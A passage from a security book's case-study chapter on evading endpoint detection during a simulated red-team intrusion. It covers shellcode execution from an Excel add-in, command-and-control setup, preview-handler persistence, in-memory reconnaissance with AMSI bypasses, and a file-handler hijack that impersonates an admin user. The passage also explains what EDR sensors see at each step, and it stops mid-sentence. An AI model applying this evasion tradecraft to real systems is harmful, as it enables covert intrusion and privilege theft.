(Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   241 meaning how many times it has seen the file in the past. Because we crafted this payload ourselves and it contains shellcode tied to our infrastructure, it most likely hasn’t been seen before. Luckily, this isn’t the end of the road by any stretch of the imagination. Users write new Word documents all the time. They generate reports for their organization and doodle in Paint during the third hour of meetings on “cross-functional synergy to meet key quarterly metrics.” If EDRs flagged every single unique file they came across, they would create an untenable amount of noise. While our global uniqueness may trigger some type of alert, it probably isn’t severe enough to kick off an investigation and won’t come into play unless the security operations center (SOC) responds to a higher-severity alert related to our activity. Executing the Payload Since we haven’t been blocked yet, excel.exe will load and process our XLL. As soon as our XLL is loaded, it will hit the DLL_PROCESS_ATTACH reason code, which triggers the execution of our shellcode runner. When our parent excel.exe process was spawned, the EDR injected its DLL, which hooked key functions unknown to us at this point. We didn’t use syscalls or include any logic to remap these hooked DLLs in excel.exe, so we’ll have to pass through these hooks and hope we don’t get caught. Thankfully, many of the functions commonly hooked by EDRs focus on remote process injection, which doesn’t affect us, as we’re not spawning a child process to inject into. We also happen to know that this EDR makes use of the Microsoft- Windows-Threat-Intelligence ETW provider, so our activities will be subject to monitoring by those sensors on top of the EDR vendor’s own function hooks. Let’s examine the riskiness of the functions we call in our payload: kernel32!VirtualAlloc () Since this is the standard local-memory-allocation function in Windows and doesn’t allow for remote allocations (as in, memory being allocated in another process), its use likely won’t be scrutinized in isolation. Additionally, because we aren’t allocating read-write-execute memory, a common default for malware developers, we’ve mitigated pretty much all the risk that we can. memcpy() Similar to the previous function, memcpy() is a widely used function and isn’t subject to much scrutiny. kernel32!VirtualProtect() This is where things become riskier for us. Because we have to convert the protections for our allocation from read-write to read-execute, this step is unfortunately unavoidable. Since we’ve passed the desired protection level as a parameter to this function, EDRs can trivi- ally identify this technique via function hooking. Additionally, the Evading EDR (Early Access) © 2023 by Matt Hand 242   Chapter 13 nt!EtwTiLogProtectExecVm() sensor will detect the changes in protec- tion state and notify consumers of the Microsoft-Windows-Threat- Intelligence ETW provider. kernel32!CreateThread() In isolation, this function doesn’t present much of a risk, as it is the standard way of creating new threads in multithreaded Win32 appli- cations. However, since we’ve performed the previous three actions, which, combined, may indicate the presence of malware on the system, its use may be the proverbial straw that breaks the camel’s back in terms of causing an alert to fire. Unfortunately for us, we don’t really have many options to avoid its use, so we’ll just stick with it and hope that if we’ve gotten this far, our shellcode will execute. This shellcode runner technique could be optimized in plenty of ways, but compared to the textbook kernel32!CreateRemoteThread()-based approach to remote process injection, it’s not too bad. If we assume that these indi- cators fly under the radar of the EDR’s sensors, our agent shellcode will execute and begin its process of communicating back to our command- and-control infrastructure. Establishing Command and Control Most malicious agents establish command and control in similar ways. The first message the agent sends to the server is a check-in saying “I’m a new agent running on host X!” When the server receives this check-in, it will reply “Hello agent on host X! Sleep for this period of time, then message me again for tasking.” The agent then idles for the time specified by the server, after which it messages it again saying “Back again. This time I’m ready to do some work.” If the operator has specified tasking for the agent, the server will pass that information along in some format understood by the agent, and the agent will execute the task. Otherwise, the server will tell the agent to sleep and try again later. How do command-and-control agents evade detection? Most of the time, the communication happens over HTTPS, the favorite channel of most operators because it lets their messages blend in with the high volume of traffic commonly flowing to the internet over TCP port 443 on most workstations. To use this protocol (and its less-secure sister, HTTP), the communication must follow certain conventions. For example, a request must have a Uniform Resource Identifier (URI) path for both GET requests, used for retrieving data, and POST requests, used for sending data. While these URIs don’t technically have to be the same in each request, many commercial command-and-control frameworks reuse one static URI path. Additionally, the agent and server must have an agreed-upon communication protocol that rides on top of HTTPS. This means that their messages generally follow a similar pattern. For instance, the lengths of check-in requests and polls for tasking will likely be static. They may also be sent at fixed intervals. Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   243 All of this is to say that, even when command-and-control traffic attempts to blend in among the noise, it still generates strong indicators of beaconing activity. An EDR developer who knows what to look for can use these to pick out the malicious traffic from the benign, probably using the network filter driver and ETW providers such as Microsoft-Windows-WebIO and Microsoft- Windows-DNS-Client. While the contents of HTTPS messages are encrypted, many important details remain readable, such as the URI paths, headers, message lengths, and the time at which the message was sent. Knowing this, how do we set up our command and control? Our HTTPS channel uses the domain blnfordtools.com. We purchased this domain a few weeks before the operation, set up DNS to point to a DigitalOcean virtual private server (VPS), and configured an NGINX web server on the VPS to use a LetsEncrypt SSL certificate. GET requests will be sent to the /home/catalog endpoint and POST requests to /search?q=6100, which will hopefully blend into normal traffic generated when browsing a tool manufacturer’s site. We set our default sleep interval to five minutes to allow us to quickly task the agent without being overly noisy, and we use a jitter of 20 percent to add some variability between request times. This command-and-control strategy might seem insecure; after all, we’re using a newly registered, typo-squatted domain hosted on a cheap VPS. But let’s consider what the EDR’s sensors can actually capture: • A suspicious process making an outbound network connection • Anomalous DNS lookups Notably missing is all the weirdness related to our infrastructure and indi- cators of beaconing. Although the EDR’s sensors can collect the data required to determine that the compromised host is connecting to a newly registered, uncatego- rized domain pointing to a sketchy VPS, actually doing this would mean performing a ton of supporting actions, which could negatively affect sys- tem performance. For example, to track domain categorization, the EDR would need to reach out to a reputation-monitoring service. To get registration informa- tion, it would need to query the registrar. Doing all of this for all connections made on the target system would be hard. For that reason, EDR agents typi- cally offload these responsibilities to the central EDR server, which performs the lookups asynchronously and uses the results to fire off alerts if needed. The indicators of beaconing are missing for nearly the same reasons. If our sleep interval were something like 10 seconds with 10 percent jitter, detecting the beaconing could be as simple as following a rule like this one: “If this system makes more than 10 requests to a website with nine to 11 sec- onds between each request, fire an alert.” But when the sleep interval is five minutes with 20 percent jitter, the system would have to generate an alert anytime the endpoint made more than 10 requests to a website with four to six minutes between each request, which would require maintaining the rolling state of every outbound network connection for between 40 minutes and one hour. Imagine how many websites you visit on a daily basis, and you can see why this function is better suited for the central server. Evading EDR (Early Access) © 2023 by Matt Hand 244   Chapter 13 Evading the Memory Scanner The last big threat to the initial access phase of the engagement (as well as any future stages in which we spawn an agent) is the EDR’s memory scan- ner. Like the file scanner, this component seeks to detect the presence of malware on the system using static signatures. Instead of reading the file from disk and parsing its contents, it scans the file after it has been mapped into memory. This allows the scanner to assess the content of the file after it has been de-obfuscated so that it can be passed to the CPU for execution. In the case of our payload, this means our decrypted agent shellcode will be present in memory; the scanner needs only to find it and identify it as malicious. Some agents include functionality to obscure the presence of the agent in memory during periods of inactivity. These techniques have varying levels of efficacy, and a scanner could still detect the shellcode by catching the agent between one of these sleep periods. Even so, cus- tom shellcode and custom agents are generally harder to detect through static signatures. We’ll assume that our bespoke, handcrafted, artisanal command-and-control agent was novel enough to avoid being flagged by the memory scanner. At this point, everything has worked in our favor: our initial beacon- ing didn’t fire off an alert worthy of the SOC’s attention. We’ve estab- lished access to the target system and can begin our post-compromise activities. Persistence Now that we’re inside the target environment, we need to make sure we can survive a technical or human-induced loss of connection. At this stage of the operation, our access is so fragile that if something were to happen to our agent, we’d have to start over from the beginning. Therefore, we need to set up some form of persistence that will establish a new command-and- control connection if things go south. Persistence is a tricky thing. There are an overwhelming number of options at our disposal, each with pros and cons. Generally speaking, we’re evaluating the following metrics when choosing a persistence technique: Reliability The degree of certainty that the persistence technique will trigger our action (for example, launching a new command-and-control agent) Predictability The degree of certainty about when the persistence will trigger Required permissions The level of access required to set up this per- sistence mechanism Required user or system behaviors Any actions that must occur on the system for our persistence to fire, such as a system reboot or a user going idle Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   245 Detection risks The understood risk of detection inherent to the technique Let’s use the creation of scheduled tasks as an example. Table 13-1 shows how the technique would perform using our metrics. Things seem great initially. Scheduled tasks run like a Rolex and are incredibly easy to set up. The first issue we encounter is that we need local administrator rights to create a new scheduled task, as the associated directory, C:\Windows\System32\Tasks\, can’t be accessed by standard users. Table 13-1: Evaluating Scheduled Tasks as a Persistence Mechanism Metric Evaluation Reliability Highly reliably Predictability Highly predictable Required permissions Local administrator Required user or system behaviors System must be connected to the network at the time of the trigger Detection risks Very high The biggest issue for us, though, is the detection risk. Attackers have abused scheduled tasks for decades. It would be fair to say that any EDR agent worth its weight would be able to detect the creation of a new sched- uled task. As a matter of fact, MITRE’s ATT&CK evaluations, a capability- validation process that many vendors participate in every year, uses scheduled-task creation as one of its test criteria for APT3, an advanced per- sistent threat group attributed to China’s Ministry of State Security (MSS). Because remaining stealthy is one of our big goals, this technique is off the table for us. What persistence mechanism should we choose? Well, nearly every EDR vendor’s marketing campaign claims that it covers most catalogued ATT&CK techniques. ATT&CK is a collection of known attacker techniques that we understand well and are tracking. But what about the unknowns: the techniques about which we are mostly ignorant? A vendor can’t guarantee coverage of these; nor can they be assessed against them. Even if an EDR has the ability to detect these uncatalogued techniques, it might not have the detection logic in place to make sense of the telemetry generated by them. To lower our likelihood of detection, we can research, identify, and develop these “known unknowns.” To that end, let’s use shell preview han- dlers, a persistence technique that I, along with my colleague Emily Leidy, published research about in a blog post, “Life is Pane: Persistence via Preview Handlers.” Preview handlers install an application that renders a preview of a file with a specific extension when viewed in Windows Explorer. In our case, the application we register will be our malware, and it will kick off a new command-and-control agent. This process is done almost entirely in the registry; we’ll create new keys that register a COM server. Table 13-2 evaluates this technique’s riskiness. Evading EDR (Early Access) © 2023 by Matt Hand 246   Chapter 13 Table 13-2: Evaluating Shell Preview Handlers as a Persistence Mechanism Metric Evaluation Reliability Highly reliable Predictability Unpredictable Required permissions Standard user Required user or system behaviors User must browse the target file type in Explorer with the preview pane enabled, or the search indexer must process the file Detection risks Currently low but trivial to detect As you can see, these “known unknowns” tend to trade strengths in some areas for weaknesses in others. Preview handlers require fewer per- missions and are harder to detect (though detection is still possible, as their installation requires very specific registry changes to be made on the host). However, they are less predictable than scheduled tasks due to user-inter- action requirements. For operations in which detection isn’t a significant concern, reliability and usability may trump the other factors. Say we use this persistence mechanism. In the EDR, sensors are now hard at work collecting telemetry related to the hijacked preview handlers. We had to drop a DLL containing a runner for our backup agent to disk from excel. exe, so the scanner will probably give it a thorough examination, assuming that Excel writing a new DLL isn’t suspect enough. We also had to create a ton of registry keys, which the driver’s registry-notification callback routine will handle. Also, the registry-related telemetry our actions generate can be a little difficult to manage. This is because COM object registration can be tricky to pick out from the large volume of registry data, and because it can be challenging to differentiate a benign COM object registration from a mali- cious one. Additionally, while the EDR can monitor the creation of the new preview-handler registry-key value, as it has a standard format and location, this requires performing a lookup between the class identifier written as the value and the COM object registration associated with that class identi- fier, which isn’t feasible at the sensor level. Another detection risk is our manual enablement of Explorer’s preview pane. This isn’t crazy behavior on its own. Users can manually enable or disable the preview pane at any time through their file browser. It can also be enabled across the enterprise via a group policy object. In both of these instances, the process making the change (for example, explorer.exe in the case of manual enablement) is known, meaning that a detection targeting atypical processes setting this registry value may be possible. Excel.exe mak- ing this change would be very much out of the ordinary. Finally, Explorer has to load our DLL whenever the persistence is trig- gered. This DLL won’t be signed by Microsoft (or likely signed at all). The driver’s image-load callback notification routine will be responsible for detecting this DLL being loaded and can investigate the signature, along with other metadata about the image, to tip off the agent to the fact that a Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   247 piece of malware is about to be mapped into Explorer’s address space. Of course, we could mitigate some of this risk by signing our DLL with a valid code-signing certificate, but this is beyond the reach of many threat actors, both real and simulated. We’ll make a trade-off in predictability in favor of lowering our detec- tion risk. We choose to install a preview handler for the .docx file extension by dropping our handler DLL to disk, performing the requisite COM regis- tration, and manually enabling Explorer’s preview pane in the registry if it is not already enabled. Reconnaissance Now that we’ve established persistence, we can afford to start taking more risks. The next thing we need to figure out is how to get to where we need to go. This is when you must think the hardest about detection because you’ll generate vastly different indicators based on what you’re doing and how you do it. We’ll need a way to run reconnaissance tooling without detection. One of my favorite tools for performing local reconnaissance is Seatbelt, a host-based situational awareness tool written by Lee Christensen and Will Schroeder. It can enumerate a ton of information about the current system, including the running processes, mapped drives, and amount of time the system has been online. A common way to run Seatbelt is to use built-in features of the com- mand-and-control agent, such as Cobalt Strike Beacon’s execute-assembly, to execute its .NET assembly in memory. Typically, this involves spawning a sacrificial process, loading the .NET common language runtime into it, and instructing it to run a specified .NET assembly with provided arguments. This technique is substantially less detection prone than trying to drop the tool onto the target’s filesystem and executing it from there, but it’s not without risk. In fact, the EDR could catch us in a whole slew of ways: Child Process Creation The EDR’s process-creation callback routine could detect the creation of the sacrificial process. If the child of the parent process is atypical, it could trigger an alert. Abnormal Module Loading The sacrificial process spawned by the parent may not typically load the common language runtime if it is an unmanaged process. This may tip off the EDR’s image-load callback routine that in-memory .NET tra- decraft is being used. Common Language Runtime ETW Events Whenever the common language runtime is loaded and run, it emits events through the Microsoft-Windows-DotNETRuntime ETW pro- vider. This allows EDRs that consume its events to identify key pieces Evading EDR (Early Access) © 2023 by Matt Hand 248   Chapter 13 of information related to the assemblies executing on the system, such as their namespace, class and method names, and Platform Invoke signatures. The Antimalware Scan Interface If we’ve loaded version 4.8 or later of the .NET common language run- time, AMSI becomes a concern for us. AMSI will inspect the contents of our assembly, and each registered provider will have the opportunity to determine whether its contents are malicious. Common Language Runtime Hooks While the technique isn’t directly covered in this book, many EDRs use hooks on the common language runtime to intercept certain execu- tion paths, inspect parameters and return values, and optionally block them. For example, EDRs commonly monitor reflection, the .NET fea- ture that enables the manipulation of loaded modules, among other things. An EDR that hooks the common language runtime in this way may be able to see things that AMSI alone couldn’t and detect tamper- ing with the loaded amsi.dll. Tool-Specific Indicators The actions our tooling takes after being loaded can generate addi- tional indicators. Seatbelt, for instance, queries many registry keys. In short, most vendors know how to identify the execution of .NET assemblies in memory. Thankfully for us, there are some alternative pro- cedures, as well as tradecraft decisions we can make, that can limit our exposure. An example of this is the InlineExecute-Assembly Beacon object file, an open source plug-in for Cobalt Strike’s Beacon that allows operators to do everything that the normal execute-assembly module allows but without the requirement of spawning a new process. On the tradecraft side, if our current process is managed (as in, is .NET), then loading the common lan- guage runtime would be expected behavior. Couple these with bypasses for AMSI and the .NET Runtime ETW provider and we’ve limited our detec- tion risk down to any hooks placed into the common language runtime and the indicators unique to the tool, which can be addressed independently. If we implement these tradecraft and procedural changes, we’re in a decent spot to be able to run Seatbelt. Privilege Escalation We know that we need to expand our access to other hosts in Binford’s environment. We also know, from our point of contact, that our current user has low privileges and hasn’t been granted administrative access to remote systems. Remember, though, that Binford grants all domain users Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   249 local administrator rights on their designated workstation so that they can install applications without overburdening their helpdesk team. All of this means that we won’t be able to move around the network unless we can get into the context of another user, but we also have options for how to do that. To take on the identity of another user, we could extract credentials from LSASS. Unfortunately, opening a handle to LSASS with PROCESS_VM _READ rights can be a death sentence for our operation when facing a mod- ern EDR. There are many ways to get around opening a handle with these rights, such as stealing a handle opened by another process or opening a handle with PROCESS_DUP_HANDLE rights and then changing the requested rights when calling kernel32!DuplicateHandle(). However, we’re still running in excel.exe (or explorer.exe, if our persistence mechanism has fired), and opening a new process handle may cause further investigation to occur, if it doesn’t generate an alert outright. If we want to act as another user but don’t want to touch LSASS, we still have plenty of options, especially since we’re local administrators. Getting a List of Frequent Users One of my favorite ways is to target users who I know log in to the system. To view the available users, we can run Seatbelt’s LogonEvents module, which tells us which users have logged on recently. This will generate some indica- tors related to Seatbelt’s default namespace, classes, and method names, but we can simply change those prior to compilation of the assembly. Once we get the results from Seatbelt, we can also check the subdirectories under C:\Users\ using dir or an equivalent directory-listing utility to see which users have a home folder on the system. Our execution of the LogonEvents module returns multiple login events from the user TTAYLOR.ADMIN@BINFORD.COM over the past 10 days. We can assume from the name that this user is an administrator to something, though we’re not quite sure to what. Hijacking a File Handler Here are two methods for targeting users of the system on which you’re operating: backdooring a .lnk file on the user’s desktop for an application they frequently open, such as a browser, and hijacking a file handler for the target user through registry modification. Both techniques rely on the creation of new files on the host. However, the use of .lnk files has been cov- ered extensively in public reporting, so there are likely detections around their creation. File-handler hijacks have gotten less attention. Therefore, their use may pose a smaller risk to the security of our operation. For readers unfamiliar with this technique, let’s cover the relevant background information. Windows needs to know which applications open files with certain extensions. For instance, by default, the browser opens .pdf files, though users can change this setting. These extension-to-appli- cation mappings are stored in the registry, under HKLM:\Software\Classes\ Evading EDR (Early Access) © 2023 by Matt Hand 250   Chapter 13 for handlers registered for the whole system and HKU:\<SID>\SOFTWARE\ Classes\ for per-user registrations. By changing the handler for a specific file extension to a program that we implement, we can get our code to execute in the context of the user who opened the hijacked file type. Then we can open the legitimate application to fool the user into thinking everything is normal. To make this work, we must create a tool that first runs our agent shellcode and then proxies the path of the file to be opened to the original file handler. The shellcode runner portion can use any method of executing our agent code and as such will inherit the indicators unique to that execution method. This is the same as was the case with our initial access payload, so we won’t cover the details of that again. The proxying portion can be as simple as calling kernel32!CreateProcess() on the intended file handler and passing in the arguments received from the operating system when the user attempts to open the file. Depending on the target of the hijack, this can create an abnormal parent–child process relationship as our malicious intermediary handler will be the parent of the legitimate handler. In other cases, such as .accountpicture-ms files, the handler is a DLL that is loaded into explorer.exe, making it so that the child process could look like a child of explorer.exe rather than another executable. Choosing a File Extension Because we’re still running in excel.exe, the modification of arbitrary file- handler binaries may seem odd to an EDR monitoring the registry events. Excel is, however, directly responsible for certain file extensions, such as .xlsx and .csv. If detection is a concern, it’s best to choose a handler that is appropriate for the context. Unfortunately for us, Microsoft has implemented measures to limit our ability to change the handler associated with certain file extensions via direct registry modification; it checks hashes that are unique to each app and user. We can enumerate these protected file extensions by look- ing for registry keys with UserChoice subkeys containing a value called Hash. Among these protected file extensions are Office file types (like .xlsx and .docx), .pdf, .txt, and .mp4, to name a few. If we want to hijack Excel-related file extensions, we need to somehow figure out the algorithm that Microsoft uses to create these hashes and reimplement it ourselves. Thankfully, GitHub user “default-username-was-already-taken” offers a PowerShell version of the necessary hashing algorithm, Set-FileAssoc.ps1. Working with PowerShell can be tricky; it’s subject to high levels of scrutiny by AMSI, script-block logging, and consumers monitoring the associated ETW provider. Sometimes the mere fact of powershell.exe spawning can trig- ger an alert for a suspicious process. Thus, we’ll aim to use PowerShell in the safest way possible, with the least risk of exposure. Let’s take a closer look at how the execution of this script on the target might get us caught and see what we can mitigate. Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   251 Modifying the PowerShell Script If you review the script yourself, you’ll see that it isn’t too alarming; it appears to be a standard administrative tool. The script first sets up a P/Invoke signature for the advapi32!RegQueryInfoKey() function and adds a custom C# class called HashFuncs. It defines a few helper functions that inter- act with the registry, enumerate users, and calculate the UserChoice hash. The final block executes the script, setting the new file handler and hash for the specified file extension. This means we won’t need to modify much. The only things we need to worry about are some of the static strings, as those are what sensors will capture. We can remove a vast majority of them, as they’re included for debugging purposes. The rest we can rename, or mangle. These strings include the contents of variables, as well as the names of the vari- ables, functions, namespaces, and classes used throughout the script. All of these values are fully under our control, so we can change them to whatever we want. We do need to be careful with what we change these values to, though. EDRs can detect script obfuscation by looking at the entropy, or randomness, of a string. In a truly random string, the characters should all receive equal representation. In the English language, the five most common letters are E, T, A, O, and I; less commonly used letters include Z, X, and Q. Renaming our strings to values like z0fqxu5 and xyz123 could alert an EDR to the presence of high-entropy strings. Instead, we can simply use English words, such as eagle and oatmeal, to perform our string replacement. Executing the PowerShell Script The next decision we need to make is how we’re going to execute this PowerShell script. Using Cobalt Strike Beacon as an example agent, we have a few options readily available to us in our command-and-control agent: 1. Drop the file to disk and execute it directly with powershell.exe. 2. Execute the script in memory using a download cradle and powershell.exe. 3. Execute the script in memory using Unmanaged PowerShell (powerpick) in a sacrificial process. 4. Inject Unmanaged PowerShell into a target process and execute the script in memory (psinject). Option 1 is the least preferrable, as it involves activities that Excel would rarely perform. Option 2 is slightly better because we no longer have to drop the script onto the host’s filesystem, but it introduces highly suspicious indicators, both in the network artifacts generated when we request the script from the payload-hosting server and in the invocation of powershell.exe by Excel with a script downloaded from the internet. Option 3 is slightly better than the previous two but isn’t without its own risks. Spawning a child process is always dangerous, especially when Evading EDR (Early Access) © 2023 by Matt Hand 252   Chapter 13 combined with code injection. Option 4 is not much better, as it drops the requirement of creating a child process but still necessitates opening a han- dle to an existing process and injecting code into it. If we consider options 1 and 2 to be off the table because we don’t want Excel spawning powershell.exe, we’re left deciding between options 3 and 4. There is no right answer, but I find the risk of using a sacrificial process more palatable than the risk of injecting into another one. The sacrificial process will terminate as soon as our script completes its execution, remov- ing persistent artifacts, including the loaded DLLs and the in-memory PowerShell script, from the host. If we were to inject into another process, those indicators could remain loaded in the host process even after our script completes. So, we’ll use option 3. Next, we need to decide what our hijack should target. If we wanted to expand our access indiscriminately, we’d want to hijack an extension for the entire system. However, we’re after the user TTAYLOR.ADMIN. Since we have local administrator rights on the current system, we can modify the registry keys of a specific user through the HKU hive, assuming we know the user’s security identifier (SID). Thankfully, there’s a way to get the SID from Seatbelt’s LogonEvents module. Each 4624 event contains the user’s SID in the SubjectUserSid field. Seatbelt comments out this attribute in the code to keep the output clean, but we can simply uncomment that line and recompile the tool to get that information without needing to run anything else. Building the Malicious Handler With all the requisite information collected we can hijack the handler for the .xlsx file extension for only this user. The first thing we need to do is create the malicious handler. This simple application will execute our shellcode and then open the intended file handle, which should open the file selected by the user in a way they’d expect. This file will need to be written to the target filesystem, so we know we’re going to be scanned, either at the time we upload it or on its first invocation based on the con- figuration of the EDR’s minifilter. To mitigate some of this risk, we can obfuscate the evil handler in a way that will hopefully allow us to fly under the radar. The first big issue we’ll need to conceal is the huge blob of agent shell- code hanging out in our file. If we don’t obfuscate this, a mature scanner will quickly identify our handler as malicious. One of my favorite ways to obscure these agent shellcode blobs is called environmental keying. The gen- eral gist is that you encrypt the shellcode using a symmetric key derived from some attribute unique to the system or context under which you’ll be running. This can be anything from the target’s internal domain name to the serial number of the hard drive inside the system. In our case, we’re targeting the user TTAYLOR.ADMIN@BINFORD. COM, so we use their username as our key. Because we want the key to be difficult to brute-force should our payload fall into the hands of an incident responder, we pad it out to 32 characters by repeating the string, Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   253 making our symmetric key the following: TTAYLOR.ADMIN@BINFORD .COMTTAYLOR. We could also combine it with other attributes, such as the system’s current IP address, to add some more variation to the string. Back on our payload development system, we generate the agent shell- code and encrypt it using a symmetric key algorithm—say, AES-256— along with our key. We then replace the non-obfuscated shellcode with the encrypted blob. Next, we need to add key-derivation and decryption functions. To get our key, our payload needs to query the executing user’s name. There are simple ways to do this, but bear in mind that the more simplistic the derivation method, the easier it will be for a skilled analyst to reverse the logic. The more obscure the method of identifying the user’s name, the better; I’ll leave finding a suitable strategy as an exercise to the reader. The decryption function is much more straightforward. We simply pad the key out to 32 bytes and then pass the encrypted shellcode and key through a standard AES-256 decryption implementation, then save the decrypted results. Now here comes the trick. Only our intended user should be able to decrypt the payload, but we have no guarantees that it won’t fall into the hands of Binford’s SOC or managed security service providers. To account for this possibility, we can use a tamper sensor, which works like this. If decryption works as expected, the decrypted buffer will be filled with known contents we can hash. If the wrong key is used, the resultant buffer will be invalid, causing a hash mismatch. Our application can take the hash of the decrypted buffer before executing it and notify us if it detects a hash mismatch. This notification could be a POST request to a web server or something as subtle as changing the timestamp of a specific file on the sys- tem we monitor. We can then initiate a full infrastructure teardown so that incident responders can’t start hitting our infrastructure or simply collect information about the failure and adjust accordingly. Since we know we’ll deploy this payload on only one host, we opt for the timestamp-monitoring approach. The implementation of this method is irrelevant and has a very low detection footprint; we merely change the timestamp of some file hidden deep in some directory and then use a persistent daemon to watch it for changes and to notify us if it detects something. Now we need to figure out the location of the legitimate handler so that we can proxy requests to open .xlsx files to it. We can pull this from the registry for a specific user if we know their SID, which our modified copy of Seatbelt told us is S-1-5-21-486F6D6549-6D70726F76-656D656E7-1032 for TTAYLOR.ADMIN@BINFORD.COM. We query the xlsx value in HKU: \S-1-5-21-486F6D6549-6D70726F76-656D656E7-1032\SOFTWARE\Microsoft\ Windows\CurrentVersion\Extensions, which returns C:\Program Files (x86)\ Microsoft Office\Root\Office16\EXCEL.EXE. Back in our handler, we write a quick function to call kernel32!CreateProcess() with the path to the real excel.exe, passing along the first parameter, which will be the path to the .xlsx file to open. This should execute after our shellcode runner but should not wait for it to complete so that the agent being spawned is appar- ent to the user. Evading EDR (Early Access) © 2023 by Matt Hand 254   Chapter 13 Compiling the Handler When it comes to compiling our handler, there are a couple of things we need to do to avoid detection. These include: Removing or mangling all string constants This will reduce the chance that signatures will trigger or be created based on strings used in our code. Disabling the creation of program database (PDB) files These files include the symbols used for debugging our application, which we won’t need on our target. They can leak information about our build environment, such as the path at which the project was compiled. Populating image details By default, our compiled handler will con- tain only basic information when inspected. To make things look a little bit more realistic, we can populate the publisher, version, copyright information, and other details you’d see after opening the Details tab in the file’s properties. Of course, we could take additional measures to further protect our handler, such as using LLVM to obfuscate the compiled code and signing the .exe with a code-signing certificate. But because the risk of this tech- nique being detected is already pretty low and we have some protections in place, we’ll save those measures for another time. Once we’ve compiled our handler with these optimizations and tested it in a lab environment that mimics the Binford system, we’ll be ready to deploy it. Registering the Handler Registering a file or protocol handler may seem relatively simple at face value; you overwrite the legitimate handler with a path to your own. Is that it? Not quite. Nearly every file handler is registered with a program- matic identifier (ProgID), a string used to identify a COM class. To follow this standard, we need to either register our own ProgID or hijack an existing one. Hijacking an existing ProgID can be risky, as it may break some func- tionality on the system and tip the user off that something is wrong, so this probably isn’t the right strategy in this case. We could also look for an aban- doned ProgID: one that used to be associated with some software installed on the system. Sometimes, when the software is removed, its uninstaller fails to delete the associated COM registration. However, finding these is relatively rare. Instead, we’ll opt to register our own ProgID. It’s hard for an EDR to monitor the creation of all registry keys and all values being set at scale, so the odds are good that our malicious ProgID registration will go unnoticed. Table 13-3 shows the basic changes we’ll need to make under the target user’s registry hive. Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   255 Table 13-3: Keys to Be Created for Handler Registration Key Value Description SOFTWARE\Classes\Excel. WorkBook.16\CLSID {1CE29631-7A1E-4A36- 8C04-AFCCD716A718} Provides the ProgID-to- CLSID mapping SOFTWARE\Classes\CLSID\ {1CE29631- 7A1E-4A36- 8C04- AFCCD716A718}\ ProgID ExcelWorkBook.16 Provides the CLSID-to- ProgID mapping SOFT-WARE\Classes\CLSID\ {1CE29631-7A1E-4A36-8C04- AFCCD716A718}\Inproc Server32 C:\path\to\our\handler.dll Specifies the path to our malicious handler Before deploying our changes to the live target, we can validate them in a lab environment using the PowerShell commands shown in Listing 13-2. PS > $type = [Type]::GetTypeFromProgId(Excel.Workbook.16) PS > $obj = [Activator]::CreateInstance($type) PS > $obj.GetMembers() Listing 13-2: Validating COM object registration We get the type associated with our ProgID and then pass it to a func- tion that creates an instance of a COM object. The last command shows the methods supported by our server as a final sanity check. If everything worked correctly, we should see the methods we implemented in our COM server returned to us via this newly instantiated object. Deploying the Handler Now we can upload the handler to the target’s filesystem. This executable can be written to any location the user has access to. Your inclination may be to hide it deep in some folder unrelated to Excel’s operation, but this could end up looking odd when it’s executed. Instead, hiding it in plain sight might be our best option. Since we’re an admin on this system, we can write to the directory in which the real ver- sion of Excel is installed. If we place our file alongside excel.exe and name it something innocuous, it may look less suspicious. As soon as we drop our file to disk, the EDR will subject it to scanning. Hopefully, the protections we put in place mean it isn’t deemed malicious (though we might not know this until it is executed). If the file isn’t immedi- ately quarantined, we can proceed by making the registry changes. Making changes in the registry can be fairly safe depending on what is being modified. As discussed in Chapter 5, registry callback notifications might have to process thousands upon thousands of registry events per second. Thus, they must limit what they monitor. Most EDRs monitor only keys associated with specific services, as well as subkeys and values, like the RunAsPPL value, which controls whether LSASS is launched as a protected process. This works out well for us, because while we know that our actions will generate telemetry, we won’t touch any of the keys that are likely to be monitored. Evading EDR (Early Access) © 2023 by Matt Hand 256   Chapter 13 That said, we should change as little as possible. Our PowerShell script will modify the values shown in Table 13-4 under the target user’s registry hive. Table 13-4: Registry Keys Modified During Handler Registration Registry key Operation SOFTWARE\Microsoft\Windows\CurrentVersion\ Explorer\FileExts\.xlsx\UserChoice Delete SOFT-WARE\Microsoft\Windows\CurrentVer-si-on\ Explorer\FileExts\.xlsx\UserChoice Create SOFT-WARE\Microsoft\Windows\CurrentVer-si-on\ Explorer\FileExts\.xlsx\UserChoice\Hash Set value SOFT-WARE\Microsoft\Windows\CurrentVer-si-on\ Explorer\FileExts\.xlsx\UserChoice\ProgId Set value As soon as these registry changes are made, our handler should be functional on the system. Whenever the user next opens a .xlsx file, our handler will be invoked via the common language runtime, execute our shellcode, and then open the real Excel to allow the user to interact with the spreadsheet. When our agent checks in with our command-and- control infrastructure, we should see it come through as TTAYLOR.ADM@ BINFORD.COM, elevating our privileges to what appears to be an adminis- trator account on Binford’s Active Directory domain, all without opening a handle to LSASS! Lateral Movement Now that our agent is running on what we suspect to be a privileged account, we need to discover what kind of access we have in the domain. Rather than throwing SharpHound around to collect information (an activity that has become more difficult to do successfully), we can perform more surgical examination to figure out how we can move to another host. You might think that lateral movement, or expanding our access to the environment, must involve deploying more agents on more hosts. However, this can add a ton of new indicators that we may not need. Take PsExec- based lateral movement, for example, in which a service binary containing agent shellcode is copied to the target system and a service targeting that newly copied binary is created and started, initiating a new callback. This would involve generating a network logon event, as well as creating a new file, registry keys for the associated service, a new process, and a network connection to either our command-and-control infrastructure or our com- promised hosts. The question then becomes: do we absolutely need to deploy a new agent, or are there other ways to get what we need? Evading EDR (Early Access) © 2023 by Matt Hand Case Study: A Detection-Aware Attack   257 Finding a Target One of the first places to start looking for lateral movement targets is the list of established network connections on the current host. This approach has a few benefits. First, it doesn’t require network scanning. Second, it can help you understand the environment’s firewall configuration, because if there is an established connection from the host to another system, it’s safe to assume that a firewall rule allowed it. Lastly, it can let us blend in. Since our compromised system has connected to the hosts in the list at least once, a new connection might seem less anomalous than one to a system with which the host has never communicated. Since we accepted the risk of using Seatbelt previously, we 